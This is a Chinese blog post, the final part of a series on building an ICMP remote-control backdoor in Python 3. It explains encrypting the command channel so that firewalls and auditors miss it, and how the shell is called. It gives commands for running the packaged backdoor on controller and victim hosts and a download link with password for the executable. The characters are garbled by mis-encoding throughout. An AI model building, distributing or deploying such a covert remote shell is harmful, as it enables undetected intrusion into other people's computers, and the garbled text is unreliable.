Python3實現(xiàn)ICMP遠控后門(下)之“Boss”出場


ICMP后門


前言

第一篇:Python3實現(xiàn)ICMP遠控后門(上)

第二篇:Python3實現(xiàn)ICMP遠控后門(上)_補充篇

第三篇:Python3實現(xiàn)ICMP遠控后門(中)之“嗅探”黑科技


熬到最后一篇了,本系列的Boss要出場了,實現(xiàn)了一個有意思的ICMP后門,暫時使用pyinstaller打包成了一個win32和64版本,如下圖所示。


在前幾篇的基礎(chǔ)上,本篇擴展的知識點為數(shù)據(jù)的加密和解密,以及shell的調(diào)用,并最終生成一個可用的ICMP后門。



本篇總共分為五節(jié),需要花費5分鐘時間。


第一節(jié)?通信的加密與解密??

ICMP遠控采用的是ICMP協(xié)議進行通信,為了確保通信的保密性,防止防火墻或者審計人員探測出控制信息,決定對ICMP數(shù)據(jù)域的內(nèi)容進行加密處理。


本次采用的是AES加密與base64編碼相結(jié)合的方式。AES為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加解密流程如下圖:?



AES只是個基本算法,實現(xiàn)AES有若干模式。其中的CBC模式因為其安全性而被TLS(就是https的加密標準)和IPSec(win采用的)作為技術(shù)標準。簡單地說,CBC使用密碼和salt(起擾亂作用)按固定算法(md5)產(chǎn)生key和iv。然后用key和iv(初始向量,加密第一塊明文)加密(明文)和解密(密文)。


下面介紹ICMP遠控的加密解密方案,對于AES加解密,這里采用CBC模式,在Python3.5及之前版本使用pycrypto?模塊,之后版本使用pycrytodome模塊。


加密

先是使用AES加密,對于傳入的加密內(nèi)容長度必須為16的倍數(shù),不足則補為16的倍數(shù),我這里是設(shè)置的補為32的倍數(shù)。使用AES加密結(jié)束后,對加密后的內(nèi)容進行base64編碼,以便傳輸。



解密

先是對加密后的內(nèi)容進行base64解碼,接著在進行AES解密,最后去掉為了對齊填充的內(nèi)容。


第二節(jié)?Shell調(diào)用

ICMP后門最基本的功能就是完成shell的調(diào)用,也就是經(jīng)常說的反彈shell。反彈的shell即是受控端的shell,控制端通過ICMP協(xié)議將shell命令發(fā)送給受控端,受控端調(diào)用shell執(zhí)行命令,并將命令結(jié)果通過ICMP協(xié)議回傳給控制端。Python中對shell的調(diào)用如下:


第三節(jié)?程序的整體結(jié)構(gòu)

代碼中總共有三個類,父類Transfer,兩個子類client和server。Transfer類主要完成了socket初始化,加解密,icmp協(xié)議封包的通用功能。同時提供了一個reverse方法需要子類實現(xiàn)。

父類Transfer


子類client



子類server



第四節(jié)?使用方法

以我生成的icmpshell_win32.exe為例,為了方便演示,開啟了一個VM虛擬機,和主機組成局域網(wǎng),VM虛擬機中運行的是win7 32位的系統(tǒng),主機運行的是win7 64的系統(tǒng)。主機的ip為192.168.72.4,虛擬機的ip為192.168.72.133.

主機作為控制端,虛擬機作為受控端。首先在主機上運行如下命令(管理員權(quán)限運行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s參數(shù)用于指明控制端的ip

在受控端運行如下命令(管理員權(quán)限運行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l參數(shù)用于指明受控端的ip,-c參數(shù)用于指明要連接的控制端的ip


受控端運行效果


控制端運行效果

執(zhí)行dir命令和tasklist命令


whoami命令



注意 !注意!!注意?。?!


icmpshell源代碼已經(jīng)優(yōu)先上傳到知識星球中,想看源代碼的朋友請關(guān)注我的知識星球。


如果大家只是想玩一下,給大家提供了icmpshell_win32.exe的下載鏈接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密碼:8rgu


第五節(jié)?福利大放送

關(guān)注公眾號:七夜安全博客

回復(fù)【1】:領(lǐng)取?Python數(shù)據(jù)分析?教程大禮包
回復(fù)【2】:領(lǐng)取?Python?Flask?全套教程?
回復(fù)【3】:領(lǐng)取 某學(xué)院 機器學(xué)習(xí)? 教程?

回復(fù)【4】:領(lǐng)取 爬蟲? 教程?


知識星球 已經(jīng)快30人了,隨著人數(shù)的增多,價格之后會上漲,越早關(guān)注越多優(yōu)惠。星球的福利有很多:

  • 比如上面的教程,已經(jīng)提前在知識星球中分享

  • 可以發(fā)表一些問題,大家一塊解決

  • 我之后寫的電子書,錄制的教學(xué)視頻,對于知識星球的朋友都是優(yōu)惠的(基本上免費)

  • 一些節(jié)假日會給大家發(fā)個紅包或者贈書


  • 最后編輯于
    ?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
    【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
    平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

    相關(guān)閱讀更多精彩內(nèi)容

    • 簡介 用簡單的話來定義tcpdump,就是:dump the traffic on a network,根據(jù)使用者...
      保川閱讀 6,090評論 1 13
    • 本文主要介紹移動端的加解密算法的分類、其優(yōu)缺點特性及應(yīng)用,幫助讀者由淺入深地了解和選擇加解密算法。文中會包含算法的...
      蘋果粉閱讀 11,697評論 5 29
    • 兒子兩個多月了,這兩個月里我始終沒有調(diào)整好心態(tài),沒有做好角色轉(zhuǎn)變,兒子睡著的時候我在一旁看著他,心里想他是誰呢? ...
      御用小廚閱讀 266評論 2 1
    • 自從王馬事件發(fā)生后,天天被刷屏。新聞網(wǎng)頁,微信,qq消息不斷。一場看客們的集體高潮,各種小道消息滿天飛,陰謀論...
      fbb1173ca00c閱讀 418評論 0 0

    友情鏈接更多精彩內(nèi)容